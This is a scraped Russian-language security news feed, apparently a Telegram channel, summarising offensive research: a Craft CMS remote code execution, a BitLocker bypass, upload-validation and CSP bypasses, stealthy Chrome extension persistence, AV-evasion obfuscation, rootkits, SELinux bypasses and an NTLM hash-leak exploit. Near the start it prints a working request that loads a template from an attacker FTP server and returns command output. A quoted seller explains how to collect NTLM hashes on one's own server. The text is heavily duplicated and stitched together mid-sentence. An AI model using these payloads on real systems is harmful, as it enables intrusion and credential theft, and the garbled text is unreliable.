How an obscure PHP footgun led to RCE in Craft CMS
Любой сайт на PHP может быть уязвим к RCE, если использует дефолтный конфиг. Как, например, это случилось в Craft CMS, где приложение, неожиданно для всех, начало принимать аргументы командной строки из GET-параметров
Дело в том, что скрипт, отвечающий за маршрутизацию, при обращении проверял, не переданы ли
Однако благодаря включенной по дефолту фиче
Любой сайт на PHP может быть уязвим к RCE, если использует дефолтный конфиг. Как, например, это случилось в Craft CMS, где приложение, неожиданно для всех, начало принимать аргументы командной строки из GET-параметров
GET /?--templatesPath=ftp://a:a@our.malicious.server:2121/ HTTP/1.1
Host: localhost:8000
...
HTTP/1.1 200 OK
Server: nginx
uid=82(www-data) gid=82(www-data) groups=82(www-data) ArrayДело в том, что скрипт, отвечающий за маршрутизацию, при обращении проверял, не переданы ли
$_SERVER['argc'] и $_SERVER['argv'] (аргументы командной строки). На тот случай, если он запускается кем-то вручную из терминала.Однако благодаря включенной по дефолту фиче
register_argc_argv, эти аргументы можно передать просто GET-параметрами. Что и случилось, — ресерчер передал в качестве --templatesPath путь к шаблону на собственном сервере, а приложение, думая, что этот параметр передан из CLI, подгрузило вредоносный темплейт.www.assetnote.io
How an obscure PHP footgun led to RCE in Craft CMS
Craft CMS is one of the most popular PHP-based CMSes globally, boasting over 150,000 sites worldwide. This blog post details a pre-authentication RCE vulnerability affecting Craft CMS versions below 4.13.1 and 5.5.1.
Windows BitLocker — Screwed without a Screwdriver
Топ-доклад с недавнего 38с3 (о котором я писал тут), — рассказали о самом простом, на сегодняшний день, способе обойти Bitlocker.
Существует атака bitpixie, суть которой проста: вызвать ошибку при загрузке Windows и в режиме восстановления прочитать ключ для расшифровки битлокера, который Bootloader забыл затереть в памяти. Она известна как CVE-2023-24932 уже два года, и Microsoft ее запатчила.
Кроме того, Secure Boot проверяет, чтобы загрузчик был подписан Microsoft, и не дает подсунуть что-то левое. Зато дает возможность даунгрейднуть новую версию загрузчика на уязвимую, и эксплуатировать старый баг с чтением из памяти.
Ничего разбирать не нужно, — достаточно иметь под рукой LAN кабель (чтобы прикинуться TFTP PXE и отправить "апдейт"), второй нотбук (для всех манипуляций), и прямые руки — диск будет расшифрован.
Актуально для многих версий Windows, заканчивая последними сборками Windows 11. Единственное спасение — сложный хотфикс через ручное обновление серта UEFI, — автоматического исправления на сегодня нет.
Топ-доклад с недавнего 38с3 (о котором я писал тут), — рассказали о самом простом, на сегодняшний день, способе обойти Bitlocker.
Ваш ноутбук был украден. Он работает под управлением Windows 11, полностью обновлен, работает со включенным шифрованием устройства (BitLocker) и Secure Boot. Ваши данные в безопасности, верно? Как бы не так!
Существует атака bitpixie, суть которой проста: вызвать ошибку при загрузке Windows и в режиме восстановления прочитать ключ для расшифровки битлокера, который Bootloader забыл затереть в памяти. Она известна как CVE-2023-24932 уже два года, и Microsoft ее запатчила.
Кроме того, Secure Boot проверяет, чтобы загрузчик был подписан Microsoft, и не дает подсунуть что-то левое. Зато дает возможность даунгрейднуть новую версию загрузчика на уязвимую, и эксплуатировать старый баг с чтением из памяти.
Ничего разбирать не нужно, — достаточно иметь под рукой LAN кабель (чтобы прикинуться TFTP PXE и отправить "апдейт"), второй нотбук (для всех манипуляций), и прямые руки — диск будет расшифрован.
Актуально для многих версий Windows, заканчивая последними сборками Windows 11. Единственное спасение — сложный хотфикс через ручное обновление серта UEFI, — автоматического исправления на сегодня нет.
neodyme.io
Windows BitLocker -- Screwed without a Screwdriver
Breaking up-to-date Windows 11 BitLocker encryption -- on-device but software-only
1
Breaking Down Multipart Parsers: File upload validation bypass
Пачка новых обходов на аплоад файлов под популярные балансеры, файерволы и фреймворки.
Все построено на обмане встроенных парсеров.
Why do we need to validate files being uploaded?
Understanding Multipart Form-Data: Specifications and Peculiarities
— What's the Boundary Strings?
— Content-Disposition
— Additional Headers Within Parts
Bypass #0: urlencoded in multipart
Bypass #1: duplicated name parameter
Bypass #1.1: duplicated filename parameter
Bypass #1.2: duplicated Content-Disposition
Bypass #2: breaking the CRLF seuqences
Bypass #3: removing double quotes
Bypass #4: missing closing boundary string
Bypass #5: filename*=utf-8'' in request
⚠️ PHP version in screenshots
Bypass OpenResty Lua multipart parsers
— Duplicated filename parameter
— Breaking CRLF sequence
— Removing doublequotes on filename parameter
Bypass Nodejs and Busboy
Bypass file upload in Python Flask
Bypass FortiWeb WAF
Bypass Barracuda WAF
Bypass HAProxy ACL
— This is the ACL
Bypass AWS WAF, Lambda
ModSecurity Multipart Parser
Conclusions
Пачка новых обходов на аплоад файлов под популярные балансеры, файерволы и фреймворки.
По сути, ни один парсер multipart/form-data не соответствуют спецификации, и когда дело доходит до проверки имен файлов или контента, загружаемого пользователями, всегда есть множество способов обойти проверку.
Все построено на обмане встроенных парсеров.
Why do we need to validate files being uploaded?
Understanding Multipart Form-Data: Specifications and Peculiarities
— What's the Boundary Strings?
— Content-Disposition
— Additional Headers Within Parts
Bypass #0: urlencoded in multipart
Bypass #1: duplicated name parameter
Bypass #1.1: duplicated filename parameter
Bypass #1.2: duplicated Content-Disposition
Bypass #2: breaking the CRLF seuqences
Bypass #3: removing double quotes
Bypass #4: missing closing boundary string
Bypass #5: filename*=utf-8'' in request
⚠️ PHP version in screenshots
Bypass OpenResty Lua multipart parsers
— Duplicated filename parameter
— Breaking CRLF sequence
— Removing doublequotes on filename parameter
Bypass Nodejs and Busboy
Bypass file upload in Python Flask
Bypass FortiWeb WAF
Bypass Barracuda WAF
Bypass HAProxy ACL
— This is the ACL
Bypass AWS WAF, Lambda
ModSecurity Multipart Parser
Conclusions
Sicuranext Blog
Breaking Down Multipart Parsers: File upload validation bypass
TL;DR: Basically, all multipart/form-data parsers fail to fully comply with the RFC, and when it comes to validating filenames or content uploaded by users, there are always numerous ways to bypass validation. We'll test various bypass techniques against…
Silently Install Chrome Extension For Persistence
Преимущества:
— не использует командную строку
— оставляет реестр нетронутым
— может быть установлен с открытым браузером
— стабилен и сохраняет постоянство
research // poc
Я занимаюсь Red Team 10 лет и сегодня расскажу, как мне удалось найти способ максимально скрытно установить расширение для Chrome с обходом всех IOC, известных в настоящее время.
Преимущества:
— не использует командную строку
— оставляет реестр нетронутым
— может быть установлен с открытым браузером
— стабилен и сохраняет постоянство
research // poc
Записи с конференции по кибербезу OrangeCon. Как раз на ней представили доклад, который занял первое место в топе Portswigger.
— Confusion Attacks: Exploiting Hidden Semantic Ambiguity In Apache HTTP Server!
— Offensive Development In Modern Languages
— The Registry Rundown
— How To Crack Seven Billion Passwords?
— Orange Is The New Black
— All Cops Are Broadcasting: Breaking TETRA After Decades In The Shadows
— Low Energy To High Energy: Hacking Nearby EV-Chargers Over Bluetooth
— Cybersecurity’s New Imperative: Metawar Defending The Cognitive Infrastructure
— From COM Object Fundamentals To UAC Bypasses
— Graph API Mastery: Logs To Real World Attacks
— Securing OT, Too Hard Or Not For Me?
— Protecting Organizations Against AITM: Lessons Learned
— Attacking Primary Refresh Tokens Using Their MacOS Implementation
— Making Penetration Testing Auditable
— An Angel, Python, Root And Config Walked Into A Bar...
— Securing Devices Or Profit? Examining The Device Security Of A Network Appliance Vendor
— Exploiting The Core: A Deep Dive Into Kernel Driver Vulnerability Hunting
— Confusion Attacks: Exploiting Hidden Semantic Ambiguity In Apache HTTP Server!
— Offensive Development In Modern Languages
— The Registry Rundown
— How To Crack Seven Billion Passwords?
— Orange Is The New Black
— All Cops Are Broadcasting: Breaking TETRA After Decades In The Shadows
— Low Energy To High Energy: Hacking Nearby EV-Chargers Over Bluetooth
— Cybersecurity’s New Imperative: Metawar Defending The Cognitive Infrastructure
— From COM Object Fundamentals To UAC Bypasses
— Graph API Mastery: Logs To Real World Attacks
— Securing OT, Too Hard Or Not For Me?
— Protecting Organizations Against AITM: Lessons Learned
— Attacking Primary Refresh Tokens Using Their MacOS Implementation
— Making Penetration Testing Auditable
— An Angel, Python, Root And Config Walked Into A Bar...
— Securing Devices Or Profit? Examining The Device Security Of A Network Appliance Vendor
— Exploiting The Core: A Deep Dive Into Kernel Driver Vulnerability Hunting
YouTube
Confusion Attacks: Exploiting Hidden Semantic Ambiguity In Apache HTTP Server! - Orange Tsai
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
Malware Analysis Series
Malware Analysis Series — это цикл статей по анализу вредоносных программ, цель которых обучить реверс-инжинирингу на реальных примерах.
— MAS_1
— MAS_2
— MAS_3
— MAS_4
— MAS_5
— MAS_6
— MAS_7
— MAS_8
— MAS_9
— MAS_10
Выпуски публикуются с 2021 года.
Malware Analysis Series — это цикл статей по анализу вредоносных программ, цель которых обучить реверс-инжинирингу на реальных примерах.
Мы начнем с самых простых вредоносов и постепенно перейдем к более сложным, затрагивая как можно больше различных аспектов.
По мере необходимости я расскажу также смежные темы, такие как COM, криптография, IDC/IDA Python и другие ключевые технологии, которые помогут читателям глубже понять суть анализа вредоносного кода.
— MAS_1
— MAS_2
— MAS_3
— MAS_4
— MAS_5
— MAS_6
— MAS_7
— MAS_8
— MAS_9
— MAS_10
Выпуски публикуются с 2021 года.
This media is not supported in your browser
VIEW IN TELEGRAM
ArgFuscator
ArgFuscator — это опенсорсное приложение, которое помогает генерировать обфусцированные пейлоады для командной строки.
На видео пример обхода Windows Defender.
ArgFuscator — это опенсорсное приложение, которое помогает генерировать обфусцированные пейлоады для командной строки.
Успешная обфускация помешает таким защитным мерам, как антивирусы и EDR, а в некоторых случаях и вовсе обойдет обнаружение.
На видео пример обхода Windows Defender.
1
The Art of Linux Kernel Rootkits
Глубокое погружение в мир руткитов режима ядра Linux.
О принципе их работы со сниппетами кода и принципами обнаружения.
1. What is a rootkit?
— 1.1 - What is a kernel? Differences between userland and kernel land.
— 1.2 - What is a system call (Syscalls)?
— 1.3 - Userland rootkits.
— 1.4 - Kernel land rootkits.
2. Modern hooking techniques
— 2.1 - ftrace
— 2.2 - kprobe
— 2.3 - eBPF
3. LKM rootkit detection
— 3.1 - sysfs
— 3.2 - procfs
— 3.3 - logs
— 3.4 - Rootkit detection with eBPF Tracepoints
4. Make an LKM rootkit visible
5. Making an LKM rootkit completely useless
6. Hiding an LKM functions from tracing and /proc/kallsyms
7. Persistence with LKM Rootkit even after reboot machine
8. Protecting LKM Rootkits against LKM Rootkit hunters
9. The power of eBPF in detecting rootkits
10. Resources
11. Final Considerations
Глубокое погружение в мир руткитов режима ядра Linux.
Руткит — это вредонос, цель которого — сохранять постоянство в системе, оставаясь при этом полностью незамеченным — скрывать процессы, каталоги и так далее.
Это делает обнаружение руткитов очень сложным, а уничтожение - еще сложнее, так как они ориентированы на максимальную скрытность. Руткит изменяет поведение системы по умолчанию на то, которое ему нужно.
О принципе их работы со сниппетами кода и принципами обнаружения.
1. What is a rootkit?
— 1.1 - What is a kernel? Differences between userland and kernel land.
— 1.2 - What is a system call (Syscalls)?
— 1.3 - Userland rootkits.
— 1.4 - Kernel land rootkits.
2. Modern hooking techniques
— 2.1 - ftrace
— 2.2 - kprobe
— 2.3 - eBPF
3. LKM rootkit detection
— 3.1 - sysfs
— 3.2 - procfs
— 3.3 - logs
— 3.4 - Rootkit detection with eBPF Tracepoints
4. Make an LKM rootkit visible
5. Making an LKM rootkit completely useless
6. Hiding an LKM functions from tracing and /proc/kallsyms
7. Persistence with LKM Rootkit even after reboot machine
8. Protecting LKM Rootkits against LKM Rootkit hunters
9. The power of eBPF in detecting rootkits
10. Resources
11. Final Considerations
form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP
nzt-48 творит магию с обходом CSP. Вопреки здравому смыслу,
В блоге автора еще много интересного:
— Breaking the most popular Web Application Firewalls in the market
— Bypassing Browsers' Mitigations Against Markup Dangling Injection
— List of HTML elements that can overwrite javascript variables via DOM Clobbering
— Tool for finding RPO vulnerabilities and CSS Exfiltration Techniques
— More Methods For Breaking Web Logins
— High Speed Blind SQL injections - Optimization Methods
— XSS filter evasion through invalid escapes
— Modern XPath Exploitation
nzt-48 творит магию с обходом CSP. Вопреки здравому смыслу,
default-src: 'none' не покрывает директиву form-action и открывает кучу впечатляющих возможностей.В блоге автора еще много интересного:
— Breaking the most popular Web Application Firewalls in the market
— Bypassing Browsers' Mitigations Against Markup Dangling Injection
— List of HTML elements that can overwrite javascript variables via DOM Clobbering
— Tool for finding RPO vulnerabilities and CSS Exfiltration Techniques
— More Methods For Breaking Web Logins
— High Speed Blind SQL injections - Optimization Methods
— XSS filter evasion through invalid escapes
— Modern XPath Exploitation
Forwarded from S.E.Book
• Nginx — это веб-сервер, на котором работает треть всех сайтов в мире. Но если забыть или проигнорировать некоторые ошибки в настройках, можно стать отличной мишенью для атакующих:
• Missing Root Location in Nginx Configuration:
- Explanation;
- The Missing Root Location Issue.
• Attack Scenario: Exploiting the Missing Root Location:
- Mitigating the Risk.
• Unsafe Path Restriction in Nginx:
- Explanation;
- Potential Bypass Techniques;
- Attack Scenario: Exploiting Path Restriction Bypass;
- Mitigation Strategies.
• Unsafe variable use / HTTP Request Splitting:
- Unsafe Use of Variables: $uri and $document_uri;
- Regex Vulnerabilities;
- Safe Configuration;
- Attack Scenarios and Detection Techniques;
- CRLF Injection and HTTP Request Splitting;
- Bypassing Path Restrictions Using Encoded Characters;
- Examples of Vulnerable Configurations.
• Raw Backend Response Reading:
- Example Scenario: Exposing Raw Backend Responses;
- Example uWSGI Application;
- Nginx Configuration;
- Example Invalid HTTP Request;
- Example Output for Invalid Request;
- Attack Scenario;
- Mitigation Strategies.
• merge_slashes set to off:
- merge_slashes Directive;
- Malicious Response Headers;
- map Directive Default Value;
- DNS Spoofing Vulnerability;
- proxy_pass and internal Directives.
• proxy_set_header Upgrade & Connection:
- Vulnerable Configuration;
- Vulnerability;
- Attack Scenario;
- Mitigation;
- Additional Attack Scenarios and Commands.
#Nginx
Please open Telegram to view this post
VIEW IN TELEGRAM
Как мы заработали $50 000 на взломе цепочки поставок
Вот как это было.
Вместо того чтобы конкурировать дальше, мы решили работать вместе. Нашей целью стало выявить все возможные типы уязвимостей в этой системе: IDOR, SQL-инъекции, XSS, мисконфиги OAuth, Dependency Confusion, SSRF, RCE… Мы находили их, отправляли отчёты и получали вознаграждения.
Но одна мечта оставалась недостижимой: найти "Исключительную Уязвимость" — настолько критическую, что её вознаграждение выходило бы за рамки стандартных выплат. Это стало для нас главным вызовом.
И вот это история о том, как мы со Snorlhax наконец этого добились. Используя атаку на цепочку поставок, позволявшую выполнить RCE на компьютерах разработчиков, в сборочных процессах и на продакшен-серверах, мы получили выплату в $50 500.
Вот как это было.
Cybred
Как мы заработали $50 000 на взломе цепочки поставок
В 2021 году я всё ещё был в начале своего пути в наступательной безопасности. Я уже взломал несколько компаний и стабильно зарабатывал на Bug Bounty — этичной практике поиска уязвимостей, за которые исследователи получают денежные вознаграждения. Однако я…
В Burp Suite нативно внедрили AI
На деле просто добавили методы для работы с языковой моделью Portswigger через Montoya API, чтобы можно было интегрировать LLM в собственные расширения.
Минусов больше, чем плюсов:
— доступно только в платной версии Burp
— все завязано на походы в API Portswigger
— нельзя подключать локальные модели
— каждый вызов нужно оплачить кредитами
Месяц назад я писал о первом бесплатном AI-расширении burpference, которое успели релизнуть гораздо раньше и бесплатно для всех.
На деле просто добавили методы для работы с языковой моделью Portswigger через Montoya API, чтобы можно было интегрировать LLM в собственные расширения.
Минусов больше, чем плюсов:
— доступно только в платной версии Burp
— все завязано на походы в API Portswigger
— нельзя подключать локальные модели
— каждый вызов нужно оплачить кредитами
Месяц назад я писал о первом бесплатном AI-расширении burpference, которое успели релизнуть гораздо раньше и бесплатно для всех.
Ликаем электронную почту любого пользователя на Youtube
В Google существует идентификатор учеток Gaia ID — он связывает все профили пользователя на Google Docs, Youtube, Gmail и других сервисах компании с его единым аккаунтом.
Youtube оперирует своими ID каналов и запрещает раскрывать Gaia ID, на который они линкуются. Но, что забавно, долгие годы клик на три точки из чата стрима и последующий запрос ликал Gaia ID любого.
Ресерчеры сначала нашли баг, лежавший все это время перед глазами миллионов, потом научились резолвить Gaia ID в электронную почту и, наконец, выбили награду в $10 000!
В Google существует идентификатор учеток Gaia ID — он связывает все профили пользователя на Google Docs, Youtube, Gmail и других сервисах компании с его единым аккаунтом.
Youtube оперирует своими ID каналов и запрещает раскрывать Gaia ID, на который они линкуются. Но, что забавно, долгие годы клик на три точки из чата стрима и последующий запрос ликал Gaia ID любого.
Ресерчеры сначала нашли баг, лежавший все это время перед глазами миллионов, потом научились резолвить Gaia ID в электронную почту и, наконец, выбили награду в $10 000!
Cybred
Ликаем электронную почту любого пользователя на Youtube
Какое-то время назад, исследуя Google, я наткнулся на документацию по Internal People API (Staging) и обнаружил кое-что любопытное.
Attacking IoT Devices from Web Perspective
Извлечение прошивки роутера, эмуляция с QEMU, реверс с Ghidra, и поиск RCE.
Извлечение прошивки роутера, эмуляция с QEMU, реверс с Ghidra, и поиск RCE.
SELinux bypasses
Даже если ты повысился и теперь у тебя есть доступ к учетке с root-правами, включенный SELinux может помешать свободно перемещаться по системе, запускать бинари и читать нужные файлы.
1. What is SELinux
1.1 Linux Security Module
1.2 Mandatory Access Control
1.3 SELinux policy
1.4 Example denial
2. Implementation overview
3. Bypasses
3.1. Disable SELinux
3.2. Overwrite permissive map
3.3. Overwrite AVC cache
3.4. SELinux initialization
4.5. Overwrite mapping
3.6. Remove hooks
4. Conclusion
5. References
В этой статье собраны способы обхода его политик
Даже если ты повысился и теперь у тебя есть доступ к учетке с root-правами, включенный SELinux может помешать свободно перемещаться по системе, запускать бинари и читать нужные файлы.
SELinux — это модуль безопасности ядра Linux, который следит за тем, какие программы и пользователи могут выполнять определённые действия.
Он работает по строгим правилам и может запрещать доступ даже root-пользователю, если что-то нарушает эти правила.
1. What is SELinux
1.1 Linux Security Module
1.2 Mandatory Access Control
1.3 SELinux policy
1.4 Example denial
2. Implementation overview
3. Bypasses
3.1. Disable SELinux
3.2. Overwrite permissive map
3.3. Overwrite AVC cache
3.4. SELinux initialization
4.5. Overwrite mapping
3.6. Remove hooks
4. Conclusion
5. References
В этой статье собраны способы обхода его политик
Fixing Rendering Bugs in Dead Rising PC
Фанат первой части Dead Rising так хотел перепройти любимую игру, что решил не дожидаться официального ремастера и выкатил свой собственный фикс для ошибки с вылетом, которую не могли исправить на протяжении 15 лет.
В статье много технических деталей по написанию фанатского патча.
Фанат первой части Dead Rising так хотел перепройти любимую игру, что решил не дожидаться официального ремастера и выкатил свой собственный фикс для ошибки с вылетом, которую не могли исправить на протяжении 15 лет.
В статье много технических деталей по написанию фанатского патча.
I Code 4 Coffee
Fixing Rendering Bugs in Dead Rising PC
Investigating and fixing the notorious "directx assert" crash and other rendering bugs in Dead Rising PC using time travel debugging.
crackmy.app
Появился новый сайт с набором разных крякми. По количество тасок уже немного обходит знаменитый crackmes.one, — на данный момент их более 4000.
Появился новый сайт с набором разных крякми. По количество тасок уже немного обходит знаменитый crackmes.one, — на данный момент их более 4000.
This media is not supported in your browser
VIEW IN TELEGRAM
Эксплойт за $200 000
Microsoft присвоила идентификатор CVE-2025-24054 зеродею, который за несколько сотен тысяч долларов продавал krypt0n на XSS.
krypt0n
Сам эксплойт — это .library-ms файл с адресом шары, на который проводник отправит NTLM-хэш, как файл появится на тачке.
poc // research
Раньше подобное можно было провернуть с
Microsoft присвоила идентификатор CVE-2025-24054 зеродею, который за несколько сотен тысяч долларов продавал krypt0n на XSS.
krypt0n
сейчас проясню все. Сервак в который летят хеши создается у себя. К примеру на впс. Дальше через эксплойт генерируешь конфиг с твоими ip, share и т.д после этого создается специальный конфиг. Кладешь его на шару в любое место, независит куда именно. И если пользователь просто откроет проводник или эту шару то автоматически произойдет редирект сам (идет редирект запроса) тем самым хеш пользователя прилетает к вам на сервер и все. Сам файл который лежит на шаре открывать НЕ нужно
Сам эксплойт — это .library-ms файл с адресом шары, на который проводник отправит NTLM-хэш, как файл появится на тачке.
poc // research
Раньше подобное можно было провернуть с
.ico и .ini. Все способы собраны в этой репе https://github.com/Gl3bGl4z/All_NTLM_leak, советую сохранить.2